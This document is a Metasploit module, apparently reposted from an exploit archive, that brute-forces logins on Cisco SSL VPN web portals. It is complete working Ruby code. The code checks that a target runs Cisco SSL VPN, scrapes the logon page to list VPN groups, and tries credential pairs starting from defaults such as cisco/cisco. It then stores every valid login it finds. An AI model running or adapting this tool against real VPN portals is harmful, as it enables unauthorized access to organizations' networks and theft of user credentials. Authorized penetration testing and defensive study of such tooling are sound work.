Exploit for Cisco SSL VPN Bruteforce Login Utility

## https://sploitus.com/exploit?id=PACKETSTORM:181108
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Cisco SSL VPN Bruteforce Login Utility',  
'Description' => %{  
This module scans for Cisco SSL VPN web login portals and  
performs login brute force to identify valid credentials.  
},  
'Author' =>  
[  
'Jonathan Claudius <jclaudius[at]trustwave.com>'  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' =>  
{  
'SSL' => true,  
'USERNAME' => 'cisco',  
'PASSWORD' => 'cisco'  
}  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('GROUP', [false, "A specific VPN group to use", ''])  
])  
register_advanced_options(  
[  
OptBool.new('EmptyGroup', [true, "Use an empty group with authentication requests", false])  
])  
end  
  
def run_host(ip)  
unless check_conn?  
vprint_error("Connection failed, Aborting...")  
return false  
end  
  
unless is_app_ssl_vpn?  
vprint_error("Application does not appear to be Cisco SSL VPN. Module will not continue.")  
return false  
end  
  
vprint_good("Application appears to be Cisco SSL VPN. Module will continue.")  
  
groups = Set.new  
if datastore['EmptyGroup'] == true  
groups << ""  
elsif datastore['GROUP'].empty?  
vprint_status("Attempt to Enumerate VPN Groups...")  
groups = enumerate_vpn_groups  
  
if groups.empty?  
vprint_warning("Unable to enumerate groups")  
vprint_warning("Using the default group: DefaultWEBVPNGroup")  
groups << "DefaultWEBVPNGroup"  
else  
vprint_good("Enumerated VPN Groups: #{groups.to_a.join(", ")}")  
end  
  
else  
groups << datastore['GROUP']  
end  
  
vprint_status("Starting login brute force...")  
groups.each do |group|  
each_user_pass do |user, pass|  
do_login(user, pass, group)  
end  
end  
end  
  
# Verify whether the connection is working or not  
def check_conn?  
begin  
res = send_request_cgi('uri' => '/', 'method' => 'GET')  
if res  
vprint_good("Server is responsive...")  
return true  
end  
rescue ::Rex::ConnectionRefused,  
::Rex::HostUnreachable,  
::Rex::ConnectionTimeout,  
::Rex::ConnectionError,  
::Errno::EPIPE  
end  
false  
end  
  
def get_login_resource  
send_request_cgi(  
'uri' => '/+CSCOE+/logon.html',  
'method' => 'GET',  
'vars_get' => { 'fcadbadd' => "1" }  
)  
end  
  
def enumerate_vpn_groups  
groups = Set.new  
group_name_regex = /<select id="group_list" name="group_list" style="z-index:1(?:; float:left;)?" onchange="updateLogonForm\(this\.value,{(.*)}/  
  
res = get_login_resource  
if res && match = res.body.match(group_name_regex)  
group_string = match[1]  
groups = group_string.scan(/'([\w\-0-9]+)'/).flatten.to_set  
end  
  
groups  
end  
  
# Verify whether we're working with SSL VPN or not  
def is_app_ssl_vpn?  
res = get_login_resource  
res && res.code == 200 && res.body.match(/webvpnlogin/)  
end  
  
def do_logout(cookie)  
send_request_cgi(  
'uri' => '/+webvpn+/webvpn_logout.html',  
'method' => 'GET',  
'cookie' => cookie  
)  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: 'Cisco SSL VPN',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: DateTime.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
# Brute-force the login page  
def do_login(user, pass, group)  
vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect} and group:#{group.inspect}")  
  
begin  
cookie = "webvpn=; " +  
"webvpnc=; " +  
"webvpn_portal=; " +  
"webvpnSharePoint=; " +  
"webvpnlogin=1; " +  
"webvpnLang=en;"  
  
post_params = {  
'tgroup' => '',  
'next' => '',  
'tgcookieset' => '',  
'username' => user,  
'password' => pass,  
'Login' => 'Logon'  
}  
  
post_params['group_list'] = group unless group.empty?  
  
res = send_request_cgi(  
'uri' => '/+webvpn+/index.html',  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'cookie' => cookie,  
'vars_post' => post_params  
)  
  
if res &&  
res.code == 200 &&  
res.body.match(/SSL VPN Service/) &&  
res.body.match(/webvpn_logout/i)  
  
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")  
  
do_logout(res.get_cookies)  
  
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)  
report_note(ip: rhost, type: 'cisco.cred.group', data: "User: #{user} / Group: #{group}")  
return :next_user  
  
else  
vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")  
end  
  
rescue ::Rex::ConnectionRefused,  
::Rex::HostUnreachable,  
::Rex::ConnectionTimeout,  
::Rex::ConnectionError,  
::Errno::EPIPE  
vprint_error("HTTP Connection Failed, Aborting")  
return :abort  
end  
end  
end